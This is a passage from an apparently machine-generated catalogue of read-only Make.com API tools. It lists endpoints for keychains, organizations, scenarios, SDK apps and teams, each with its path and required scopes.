/internal plane is not served on the public API host. GET /api/v1/make/internal/users/{userId}/features. Scopes: organizations:read. make_get_internal_users_lookup_by_email (read) — Resolves an email to a Make user id for internal service-to-service communication using ISC authorization. Soft-deleted and suspended users are treated as non-existent. Responds with `userId: null` (not 404) when no active user matches — an unmatched email is an expected outcome, not an error. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/users/lookup-by-email. Scopes: organizations:read. make_get_internal_v2_auth_browser_session (read) — Validates a forwarded Make browser session and returns its authenticated user ID. This endpoint is available only to ISC-authorized internal services. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/v2/auth/browser-session. Scopes: organizations:read. make_get_keys (read) — Gets the list of keys in your custom keychain. You can use the `typeName` query parameter to filter your keys based on their type. Run the list of key types (./get--keys--types.md) API call to get a list of available key types. GET /api/v1/make/keys. Scopes: keys:read. make_get_keys_by_keyid (read) — Gets details of the specified key. GET /api/v1/make/keys/{keyId}. Scopes: keys:read. make_get_keys_types (read) — Gets the list of available key types. GET /api/v1/make/keys/types. Scopes: keys:read. make_get_mailhub_users_by_userid_organizations_by_organizationid_teams_by_teamid_preferences (read) — Get team preferences. GET /api/v1/make/mailhub/users/{userId}/organizations/{organizationId}/teams/{teamId}/preferences. Scopes: organizations:read. make_get_mailhub_users_by_userid_preferences (read) — Get preferences. GET /api/v1/make/mailhub/users/{userId}/preferences. Scopes: organizations:read. make_get_notifications (read) — Retrieves a collection of all notifications for the authenticated user. Returned notifications are sorted by ID in descending order. GET /api/v1/make/notifications. Scopes: notifications:read. make_get_notifications_by_notificationid (read) — Retrieves details and full content of a notification with a given ID. GET /api/v1/make/notifications/{notificationId}. Scopes: notifications:read. make_get_oauth_auth_by_connectionid (read) — Authorize. GET /api/v1/make/oauth/auth/{connectionId}. Scopes: organizations:read. make_get_oauth_cb_by_connectiontype (read) — Oauth Callback. GET /api/v1/make/oauth/cb/{connectionType}. Scopes: organizations:read. make_get_oauth_cb_by_connectiontype_by_connectionid (read) — Oauth Callback Id. GET /api/v1/make/oauth/cb/{connectionType}/{connectionId}. Scopes: organizations:read. make_get_oauth_extend_by_connectionid (read) — Extend. GET /api/v1/make/oauth/extend/{connectionId}. Scopes: organizations:read. make_get_oauth_reauth_by_connectionid (read) — Reauthorize. GET /api/v1/make/oauth/reauth/{connectionId}. Scopes: organizations:read. make_get_organizations (read) — Retrieves a collection of all organizations, in which the user has membership. The response contains information about the organization `name`, `organizationId` and `timezoneId`. You can get more data about the user organizations with specifying the `cols[]` query parameter. However, the values for parameters `license`, `serviceName` and `isPaused` are returned only for organizations in your current Make zone. Returned organizations are sorted by the organization name in ascending order by default. You can specify sorting order with the query parameter `pg[sortBy].`. GET /api/v1/make/organizations. Scopes: organizations:read. make_get_organizations_by_organizationid (read) — Retrieves detail information of the organization with the specified `organizationId`. GET /api/v1/make/organizations/{organizationId}. Scopes: organizations:read. make_get_organizations_by_organizationid_apps (read) — Get list of custom apps associated with the users in the organization. The request response contains information of both published and unpublished custom apps. The custom app name is suffixed with a random text string. GET /api/v1/make/organizations/{organizationId}/apps. Scopes: organizations:read. make_get_organizations_by_organizationid_check_team_permission (read) — Checks if the current user has a specific team (company) permission on any team within the specified organization. Returns `hasPermission: true` if the user has the permission on at least one team in the organization, otherwise returns `hasPermission: false`. GET /api/v1/make/organizations/{organizationId}/check-team-permission. Scopes: organizations:read. make_get_organizations_by_organizationid_feature_controls (read) — Retrieves all feature controls for the specified organization. Response order of the feature controls is by descending ID. GET /api/v1/make/organizations/{organizationId}/feature-controls. Scopes: organizations:read. make_get_organizations_by_organizationid_managed_organizations (read) — Retrieves the collection of child organizations. If no organization found response will contain empty array in `managedOrganizations` variable. Refer to the MMS page (https://help.make.com/make-managed-services-mms) for Make Managed Services (MMS) overview. GET /api/v1/make/organizations/{organizationId}/managed-organizations. Scopes: managed-organizations:read. make_get_organizations_by_organizationid_managed_organizations_consumption (read) — Retrieves the collection of child organizations with consumption of opertaions/credits. If no organization found response will contain empty array in `managedOrganizationsConsumption` variable. Refer to the MMS page (https://help.make.com/make-managed-services-mms) for Make Managed Services (MMS) overview. GET /api/v1/make/organizations/{organizationId}/managed-organizations-consumption. Scopes: managed-organizations:read. make_get_organizations_by_organizationid_payments (read) — Get list of past payments. GET /api/v1/make/organizations/{organizationId}/payments. Scopes: organizations:read. make_get_organizations_by_organizationid_private_spaces_settings (read) — Returns the private-spaces settings for the organization. When the organization has no private-spaces settings configured yet, defaults are returned: - `privateSpacesAutoCreationEnabled` defaults to `false` - `defaultOperationsLimit` defaults to `1000` - `addAdminsAsObservers` defaults to `false` Once configured, the stored value is returned as-is — including an explicit `null`, which means unlimited operations (distinct from the never-configured default of `1000`). GET /api/v1/make/organizations/{organizationId}/private-spaces-settings. Scopes: organizations:read. make_get_organizations_by_organizationid_sso_certificates (read) — Get all SSO certificates. GET /api/v1/make/organizations/{organizationId}/sso-certificates. Scopes: organizations:read. make_get_organizations_by_organizationid_subscription (read) — Get detail of an active subscription. GET /api/v1/make/organizations/{organizationId}/subscription. Scopes: organizations:read. make_get_organizations_by_organizationid_subscription_payment_method_types (read) — Returns a list of available payment method types for the organization's subscription. GET /api/v1/make/organizations/{organizationId}/subscription/payment-method-types. Scopes: organizations:read. make_get_organizations_by_organizationid_subscription_payment_methods (read) — Returns a list of payment methods for the organization's subscription. GET /api/v1/make/organizations/{organizationId}/subscription/payment-methods. Scopes: organizations:read. make_get_organizations_by_organizationid_test_clock (read) — Retrieve a test clock (TEST ONLY). GET /api/v1/make/organizations/{organizationId}/test-clock. Scopes: organizations:read. make_get_organizations_by_organizationid_universal_discount (read) — Returns the current universal discount (active or dormant) for the organization. The user must have the 'payment edit' organization permission or the 'organization view' admin permission. GET /api/v1/make/organizations/{organizationId}/universal-discount. Scopes: organizations:read. make_get_organizations_by_organizationid_usage (read) — Retrieves a list of daily centicredits, operations, and data transfer usage across all scenarios within all teams in the specified organization for the past 30 days. By default, the endpoint uses the timezone of the user making the API call to define the start and end of each day in the 30-day timeframe. To use the organization's timezone instead, set the `organizationTimezone` parameter to `true`. This ensures that the daily aggregates align with the organization's operational hours. This is especially useful for scenarios where aggregated data needs to align with the organization's operational hours. For instance, a remote data analyst in India working for a Czech company can set `organizationTimezone=true` to ensure the usage data reflects the company's timezone, providing more relevant and accurate insights for organizational reporting and analysis. For more information on timezones in Make, please refer to our Help Center article (https://www.make.com/en/help/general/manage-time-zones). GET /api/v1/make/organizations/{organizationId}/usage. Scopes: organizations:read. make_get_organizations_by_organizationid_user_organization_roles (read) — Retrieves information about all users and their roles in the organization with the specified `organizationId`. GET /api/v1/make/organizations/{organizationId}/user-organization-roles. Scopes: organizations:read. make_get_organizations_by_organizationid_user_organization_roles_by_userid (read) — Retrieves information about a user role in an organization with the specified `userId` and `organizationId`. Get all user role IDs with the API call `GET users/roles`. GET /api/v1/make/organizations/{organizationId}/user-organization-roles/{userId}. Scopes: organizations:read. make_get_organizations_by_organizationid_variables (read) — Retrieves the collection of organization variables. The response contains all organization variables if your account has the custom variables feature available. Otherwise, the response contains only Make system variables. Check availability of the custom variables feature with the API call `GET /organizations/{organizationId}`. If the response contains `"customVariables": true` pair in the `license` object then you have access to the custom variables feature. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for Make pricing plans overview. GET /api/v1/make/organizations/{organizationId}/variables. Scopes: organization-variables:read. make_get_organizations_by_organizationid_variables_by_variablename_history (read) — Gets the history of updates of the specified custom variable. The response contains the ID value of the variable history entry and a `diffObject`. The `diffObject` contains: - the original value, - the new value, - the timestamp of the update, - the author of the update. If the variable doesn't have any updates, the `diffObject` contains the current value of the variable instead of the original and new values. The update history entries are sorted from newest to latest. GET /api/v1/make/organizations/{organizationId}/variables/{variableName}/history. Scopes: organization-variables:read. make_get_organizations_invitation (read) — Invitation detail. GET /api/v1/make/organizations/invitation. Scopes: organizations:read. make_get_outbound_webhooks_organizations_by_organizationid_webhooks (read) — Returns the outbound webhook subscriptions belonging to the given organization. Endpoint is proxy for the Outbound Webhooks service. Full schema documentation is available at https://github.com/integromat/outbound-webhooks/blob/master/openapi/openapi.json. GET /api/v1/make/outbound-webhooks/organizations/{organizationId}/webhooks. Scopes: organizations:read. make_get_outbound_webhooks_organizations_by_organizationid_webhooks_by_webhookid (read) — Returns a single outbound webhook subscription belonging to the given organization. The `signingSecret` is not included in this response — it is only returned at creation time. Endpoint is proxy for the Outbound Webhooks service. Full schema documentation is available at https://github.com/integromat/outbound-webhooks/blob/master/openapi/openapi.json. GET /api/v1/make/outbound-webhooks/organizations/{organizationId}/webhooks/{webhookId}. Scopes: organizations:read. make_get_ping (read) — Pings the Make API service. Successful response contains plain text. GET /api/v1/make/ping. Scopes: organizations:read. make_get_private_spaces (read) — Gets the list of private spaces in the organization with specified `organizationId`. GET /api/v1/make/private-spaces. Scopes: private-spaces:read. make_get_private_spaces_by_privatespaceid (read) — Returns the details of a single private space. Requires the `personal team own view` organization permission. Non-members receive a 404. GET /api/v1/make/private-spaces/{privateSpaceId}. Scopes: private-spaces:read. make_get_scenario_labels (read) — Retrieves the colour-coded labels owned by a team, sorted by name (case-insensitive) ascending. Each label carries a `scenariosCount` — the number of non-trashed scenarios in the team that currently carry it. GET /api/v1/make/scenario-labels. Scopes: scenarios:read. make_get_scenarios (read) — Retrieves a collection of all scenarios for a team or an organization with a given ID. Returned scenarios are sorted by proprietary setting in descending order. GET /api/v1/make/scenarios. Scopes: scenarios:read. make_get_scenarios_ai_agents (read) — Retrieves scenarios that contain at least one AI agent module for the specified team. Results are sorted by last edit date in descending order. GET /api/v1/make/scenarios/ai-agents. Scopes: scenarios:read. make_get_scenarios_by_scenarioid (read) — Retrieves all available properties of a scenario with a given ID. The returned details do not include a scenario blueprint. If you want to get a scenario blueprint, refer to the Get scenario blueprint (./blueprints/get--scenarios--scenarioid--blueprint.md) endpoint. GET /api/v1/make/scenarios/{scenarioId}. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_blueprint (read) — Retrieves a blueprint of a scenario with a given ID. GET /api/v1/make/scenarios/{scenarioId}/blueprint. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_blueprints (read) — Retrieves a collection of all blueprints versions for a scenario with a given ID. Due to the regular archiving process, only the versions that are not older than 60 days can be retrieved. Each returned blueprint version consists of the date and time of the blueprint creation, IDs of the blueprint version and related scenario, and the information if the blueprint was created for the draft or live scenario version. GET /api/v1/make/scenarios/{scenarioId}/blueprints. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_build_variables (read) — Retrieves buildtime variables of a scenario with the given ID. Buildtime variables could be team or user defined, team defined ones are prefixed with a `TAC_` and user defined variables are prefixed with a `PAC_`. `TAC_`s can be used within the scenario as per its input spec by the entire team, whereas `PAC_`s can only be used within the scenario by the user who added them. GET /api/v1/make/scenarios/{scenarioId}/build-variables. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_consumption_overview (read) — Retrieves basic scenario credits and transfer consumption overview. GET /api/v1/make/scenarios/{scenarioId}/consumption-overview. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_custom_properties (read) — Gets custom properties data of the specified scenario. GET /api/v1/make/scenarios/{scenarioId}/custom-properties. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_data_by_moduleid (read) — Verifies whether the module data is set or not. This endpoint doesn't retrieve the module data. GET /api/v1/make/scenarios/{scenarioId}/data/{moduleId}. Scopes: scenarios:write. make_get_scenarios_by_scenarioid_executions_by_executionid (read) — Retrieves details about an execution. GET /api/v1/make/scenarios/{scenarioId}/executions/{executionId}. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_interface (read) — Retrieves the scenario inputs and outputs specification for the specified scenario. Check out the scenario inputs and outputs documentation (https://help.make.com/scenario-inputs-and-outputs) in the Make help center.The scenario inputs and outputs feature is available with all plans. Read more about Make pricing. (https://www.make.com/en/pricing). GET /api/v1/make/scenarios/{scenarioId}/interface. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_logs (read) — Retrieves a collection of all logs for a scenario with a given ID. Returned logs are sorted by `imtId` in descending order. Logs with type `modify` can include versioned Scenario History changes in `detail.change`. GET /api/v1/make/scenarios/{scenarioId}/logs. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_logs_by_executionid (read) — Retrieves an execution log with a given ID for a scenario with a given ID. It returns the execution details such as execution duration, type, and status. GET /api/v1/make/scenarios/{scenarioId}/logs/{executionId}. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_logs_by_executionid_p (read) — Retrieves enriched execution detail for a given execution. Without `include` the response shape is identical to `GET /scenarios/{scenarioId}/logs/{executionId}`. Use the `include` query parameter to request additional data sections in a single call. GET /api/v1/make/scenarios/{scenarioId}/logs/{executionId}/p. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_modules_by_moduleid_logs (read) — Retrieves an operation logs of a given module within a given scenario. Returns the operation details such as execution id, timestamp or status. GET /api/v1/make/scenarios/{scenarioId}/modules/{moduleId}/logs. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_modules_operations (read) — Retrieves an aggregated list of operations per module within a specified time period. DEPRECATED by Make; prefer the non-deprecated sibling. GET /api/v1/make/scenarios/{scenarioId}/modules/operations. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_notes (read) — Retrieves a collection of all scenario notes for a team and organization with a given ID. Returned notes are sorted by their id in descending order. GET /api/v1/make/scenarios/{scenarioId}/notes. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_notes_by_noteid (read) — Retrieves all available properties of a scenario note with a given ID. GET /api/v1/make/scenarios/{scenarioId}/notes/{noteId}. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_recovery (read) — Retrieves a scenario recovery snapshot if it exists for a given scenario. scenarioId = 0 is a sentinel for unsaved draft scenarios (no ownership check required). Uses team-scoped storage for cross-team draft isolation. GET /api/v1/make/scenarios/{scenarioId}/recovery. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_triggers (read) — Retrieves properties of a trigger included in a scenario with a given ID. A trigger is a module that is able to return bundles that were newly added or updated (depending on the settings) since the last run of the scenario. An example of a trigger is a hook. GET /api/v1/make/scenarios/{scenarioId}/triggers. Scopes: scenarios:read. make_get_scenarios_by_scenarioid_usage (read) — Retrieves a list of daily centicredits, operations, and data transfer usage for a specified scenario over the past 30 days. By default, the endpoint uses the timezone of the user making the API call to define the start and end of each day in the 30-day timeframe. To use the organization's timezone instead, set the `organizationTimezone` parameter to `true`. This ensures that the daily aggregates align with the organization's operational hours. This is especially useful for scenarios where aggregated data needs to align with the organization's operational hours. For instance, a remote data analyst in India working for a Czech company can set `organizationTimezone=true` to ensure the usage data reflects the company's timezone, providing more relevant and accurate insights for organizational reporting and analysis. For more information on timezones in Make, please refer to our Help Center article (https://www.make.com/en/help/general/manage-time-zones). GET /api/v1/make/scenarios/{scenarioId}/usage. Scopes: scenarios:read. make_get_scenarios_consumptions (read) — Retrieves a list of scenarios and their current consumption. Make counts the number of consumed centicredits, operations, and transferred data according to your reset period. If you have a monthly reset period, the response contains a list of scenarios that consumed at least one hundred centicredits (one operation) in the current reset period with their consumption and data transfer..

    If you have a yearly reset period, the response contains a list of scenarios that consumed at least one hundred centicredits (one operation) in the last 60 days, or from the last reset if that period is shorter than 60 days.

    60 days after the reset the scenario consumptions turn into running totals over the last 60 days.

    For example, let's assume that you have a set of scenarios that consume 100000 centicredits (1000 operations) every day. On the 61st day from your last reset, you turn off a scenario that consumes 20000 centicredits (200 operations) every day, reducing your consumption to 80000 centicredits (800 operations) per day.

    If you would have the yearly reset period and you would be tracking your scenario consumptions, you would get the following data:

    Day Consumptions Delta
    1 1000
    2 2000 1000
    3 3000 1000
    ...
    60 60000 1000
    61 59800 -200
    62 59600 -200

    The negative difference between scenario consumptions on the 60th and 61st day happens because on the 61st day, the endpoint doesn't collect data from the first day anymore. Your scenario consumptions contain a total over the time period from the second day until the 61st day.

    For billing, Make uses a different system which ensures accurate billing.

    Check the parameter `lastReset` in the response for the timestamp of the start of your current reset period. You can also view the end of your current restart period in your dashboard in the Usage reset field. Set the `organizationId` or `teamId` parameters to limit the results to a specific organization or team. GET /api/v1/make/scenarios/consumptions. Scopes: scenarios:read. make_get_scenarios_folders (read) — Retrieves direct scenario folder children for a team or organization. Provide teamId or organizationId. If both are provided, teamId is used. Omit parentId to return top-level folders. GET /api/v1/make/scenarios-folders. Scopes: scenarios:read. make_get_scenarios_logs (read) — Returns completed execution summaries across all scenarios visible to the API token, ordered ascending by completion time. Designed for polling integrations that need a single feed of "what completed since last poll" across the full scenario fleet. Filtering: Only `EXECUTION_END` records are returned (in-progress executions excluded). Pagination: Use `since` as the cursor — store `max(timestamp)` from the last response and pass it as `since` on the next poll. Limit: `since` must not be older than 90 days. GET /api/v1/make/scenarios/logs. Scopes: scenarios:read. make_get_scenarios_replayable_executions_by_scenarioid (read) — Returns a list of replayable executions for a given scenario. GET /api/v1/make/scenarios/replayable-executions/{scenarioId}. Scopes: scenarios:run. make_get_scenarios_shared (read) — Returns a paginated list of shared scenarios for a specified organization or team. Supports filtering by title, scenario name, and folder ID. Note: Either `organizationId` or `teamId` must be provided, but not both. GET /api/v1/make/scenarios-shared. Scopes: scenarios-shared:read. make_get_scenarios_shared_by_scenarioid (read) — Returns all shares created for the specified scenario. GET /api/v1/make/scenarios-shared/{scenarioId}. Scopes: scenarios-shared:read. make_get_scenarios_shared_by_scenarioid_by_sharedscenarioid (read) — Get shared scenario detail by ID. GET /api/v1/make/scenarios-shared/{scenarioId}/{sharedScenarioId}. Scopes: scenarios-shared:read. make_get_scenarios_tools_by_scenarioid (read) — Retrieves the tool configuration from the underlying scenario. GET /api/v1/make/scenarios/tools/{scenarioId}. Scopes: scenarios:read. make_get_scenarios_trash_count (read) — Returns the number of scenarios currently in the trash for a team — scenarios that were deleted and are still within the 30-day recovery window. Useful for rendering a trash badge count. The count respects the same permissions as listing scenarios. GET /api/v1/make/scenarios/trash/count. Scopes: scenarios:read. make_get_sdk_app_review_categories (read) — Returns the active category taxonomy the new SDK app review form offers, in display order. The taxonomy is exactly two levels deep (category → subcategory) and is global product configuration — not per app and not per user, so every authenticated caller gets the same list. Identify a pick by its `slug`, not its `name`: that is what `PUT /sdk/apps/{app}/{version}/app-review/form` expects in `categories` / `subcategories`, and it is stable across relabelling. Categories retired by a later catalog sync stop appearing here, but their slugs keep resolving in review forms that already stored them. Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). GET /api/v1/make/sdk/app-review/categories. Scopes: sdk-apps:read. make_get_sdk_apps (read) — Retrieves a collection of all apps available to the authenticated user. GET /api/v1/make/sdk/apps. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion (read) — Get App. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_app_review (read) — Returns the full state of the new review flow for the app version: the lifecycle phase, the auto-saved draft form, the submitted snapshot, and the review history timeline. Always responds `200` for the app's author — when the new flow has never touched the app, the state is synthesized (`derivedFromLegacy: true`) from the legacy review flags: an approved app reports `approved`, an in-review app reports `review` (or `changes_required` when the legacy reviewer status is "feedback sent"), anything else reports `dormant`. Only the app's author (or an administrator) may read the review state. Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/app-review. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_changes_by_sdk_changeid (read) — Get Change. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/changes/{SDK_changeId}. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_common (read) — Get app client id and client secret. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/common. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints (read) — Lists the metadata of all endpoints defined on the given app version. The heavy section payloads (`api`, `scope`, `outputParameters`) are excluded by default and are fetched per section. Pass `includeInputSchema=true` to also include each endpoint's `inputParameters` (Forman schema DSL) in the listing. On an approved app with a pending (unreleased) edit to `inputParameters`, the value returned here is the live one, not the pending edit — fetch `GET .../endpoints/{endpoint}/inputParameters` for the up-to-date value. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname (read) — Returns the metadata of a single endpoint. On approved apps, pending changes are overlaid. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_events_log (read) — Get App Events Log. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/events-log. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_functions (read) — List App Functions. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/functions. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_functions_by_sdk_functionname (read) — Get Function. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/functions/{SDK_functionName}. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_github (read) — Lists all GitHub repository bindings of the given app version. Returns an empty list when the app is not bound to any repository. The `remoteHeadSha`, `behindBy` and `syncStatus` fields are refreshed best-effort against GitHub on every call — when GitHub is unreachable or the bound branch has no commits, `remoteHeadSha` is `null` and `syncStatus` degrades to `idle` (or `error` if the last sync failed). Only the app's author (or an administrator) may read bindings. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/github. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_github_by_sdk_githubbindingid (read) — Returns a single GitHub binding of the given app version. The `remoteHeadSha`, `behindBy` and `syncStatus` fields are refreshed best-effort against GitHub on every call. Responds with `404` when the binding does not exist or belongs to a different app version. Only the app's author (or an administrator) may read bindings. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/github/{SDK_githubBindingId}. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_github_by_sdk_githubbindingid_diff (read) — Reports whether the app version has drifted locally from what was last pushed to GitHub — the "ahead by N changes" signal, independent of whether the remote branch itself has moved (that's the binding's `behindBy`). Combines two signals de-duplicated per component: a checksum diff of the current source tree against the snapshot captured at the last push, and pending change rows that approved public apps accumulate instead of writing directly. Before the first push there is no snapshot (`snapshotAvailable: false`) and every component reports as `added`. Only the app's author (or an administrator) may read the diff. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/github/{SDK_githubBindingId}/diff. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_github_by_sdk_githubbindingid_diff_files (read) — File-level, three-way diff between the app's local source tree, the bound remote branch HEAD, and the per-file snapshot captured at the last push. Lists only files whose local and remote contents differ, with both contents included for text files so a UI can render a side-by-side view. When a snapshot is available, each entry also reports which side moved since the last push and flags real merge conflicts (both sides moved to different content). Binary files (icons) are listed with SHAs only — their contents are omitted. Files outside the SDK source layout (e.g. the bootstrap `.claude/` tree committed on repository creation) are ignored. Costs one GitHub tree listing plus one contents fetch per differing text file. Only the app's author (or an administrator) may read the diff. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/github/{SDK_githubBindingId}/diff/files. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_modules (read) — List App Modules. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename (read) — Get Module. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_by_sdk_modulesection (read) — Get Module Section. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/{SDK_moduleSection}. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_readme (read) — Get App Docs. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/readme. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_review (read) — Get App Review. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/review. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_rpcs (read) — List App RPCs. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/rpcs. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_rpcs_by_sdk_rpcname (read) — Get RPC. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/rpcs/{SDK_rpcName}. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_by_sdk_appversion_rpcs_by_sdk_rpcname_by_sdk_rpcsection (read) — Get RPC Section. GET /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/rpcs/{SDK_rpcName}/{SDK_rpcSection}. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_connections (read) — List App Connections. GET /api/v1/make/sdk/apps/{SDK_appName}/connections. Scopes: sdk-apps:read. make_get_sdk_apps_by_sdk_appname_webhooks (read) — List App Webhooks. GET /api/v1/make/sdk/apps/{SDK_appName}/webhooks. Scopes: sdk-apps:read. make_get_sdk_apps_connections_by_sdk_connectionname (read) — Get Connection. GET /api/v1/make/sdk/apps/connections/{SDK_connectionName}. Scopes: sdk-apps:read. make_get_sdk_apps_connections_by_sdk_connectionname_by_sdk_connectionsection (read) — Available sections: api, parameters, scopes, scope, install, installSpec
    . GET /api/v1/make/sdk/apps/connections/{SDK_connectionName}/{SDK_connectionSection}. Scopes: sdk-apps:read. make_get_sdk_apps_connections_by_sdk_connectionname_common (read) — Get Connection Common. GET /api/v1/make/sdk/apps/connections/{SDK_connectionName}/common. Scopes: sdk-apps:read. make_get_sdk_apps_invites_by_sdk_appinvitetoken (read) — Get App Invite. GET /api/v1/make/sdk/apps/invites/{SDK_appInviteToken}. Scopes: sdk-apps:read. make_get_sdk_apps_themes (read) — All verified and custom apps returned with theme color. GET /api/v1/make/sdk/apps/themes. Scopes: apps:read, sdk-apps:read. make_get_sdk_apps_webhooks_by_sdk_webhookname (read) — Get Webhook. GET /api/v1/make/sdk/apps/webhooks/{SDK_webhookName}. Scopes: sdk-apps:read. make_get_sdk_apps_webhooks_by_sdk_webhookname_by_sdk_webhooksection (read) — Get Webhook Section. GET /api/v1/make/sdk/apps/webhooks/{SDK_webhookName}/{SDK_webhookSection}. Scopes: sdk-apps:read. make_get_sdk_publisher (read) — Returns the calling user's account-level publisher profile ("App developer contact" of the new SDK app review flow), or `null` when the user has no profile yet. The profile is strictly self-scoped — there is no way to read another user's profile. Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). GET /api/v1/make/sdk/publisher. Scopes: sdk-apps:read. make_get_teams (read) — Gets the list of teams in the organization with specified `organizationId`. GET /api/v1/make/teams. Scopes: teams:read. make_get_teams_by_teamid (read) — Returns information about the team with the specified `teamId`. GET /api/v1/make/teams/{teamId}. Scopes: teams:read. make_get_teams_by_teamid_connections_by_connectionid_access_list (read) — Returns the access list (entity ACL) of a connection — the principals granted a role on it. A caller holding the `entity use` permission on the connection sees every member; any other member of the connection's team sees only the Entity Admins. The connection must belong to the team in the path. Requires the locked connections feature to be enabled for the organization the team belongs to; otherwise the endpoint returns `400` (`IM903`). GET /api/v1/make/teams/{teamId}/connections/{connectionId}/access-list. Scopes: connections:read. make_get_teams_by_teamid_feature_controls (read) — Retrieves all feature controls for the specified organization which the team belongs to. GET /api/v1/make/teams/{teamId}/feature-controls. Scopes: organizations:read. make_get_teams_by_teamid_keys_by_keyid_access_list (read) — Returns the access list (entity ACL) of a key — the principals granted a role on it. A caller holding the `entity use` permission on the key sees every member; any other member of the key's team sees only the Entity Admins. The key must belong to the team in the path. Requires the locked connections feature to be enabled for the organization the team belongs to; otherwise the endpoint returns `400` (`IM903`). GET /api/v1/make/teams/{teamId}/keys/{keyId}/access-list. Scopes: keys:read. make_get_teams_by_teamid_locked_entities (read) — Returns every locked connection and key of the team, each with the permissions the calling user holds on it and the part of its access list the caller may see. The `permissions` array reflects the caller's own grants: an entity without `entity use` cannot be referenced in scenarios by the caller. For each entity, a caller holding `entity use` sees the full access list; any other member of the team sees only the `entity manage` holders. The caller must hold the team's connections and keys view permissions. Requires the locked connections feature to be enabled for the organization the team belongs to; otherwise the endpoint returns `400` (`IM903`). GET /api/v1/make/teams/{teamId}/locked-entities. Scopes: connections:read, keys:read. make_get_teams_by_teamid_usage (read) — Retrieves a list of daily centicredits, operations, and data transfer usage for all scenarios within a specified team over the past 30 days. By default, the endpoint uses the timezone of the user making the API call to define the start and end of each day in the 30-day timeframe. To use the organization's timezone instead, set the `organizationTimezone` parameter to `true`. This ensures that the daily aggregates align with the organization's operational hours. This is especially useful for scenarios where aggregated data needs to align with the organization's operational hours. For instance, a remote data analyst in India working for a Czech company can set `organizationTimezone=true` to ensure the usage data reflects the company's timezone, providing more relevant and accurate insights for organizational reporting and analysis. For more information on timezones in Make, please refer to our Help Center article (https://www.make.com/en/help/general/manage-time-zones). GET 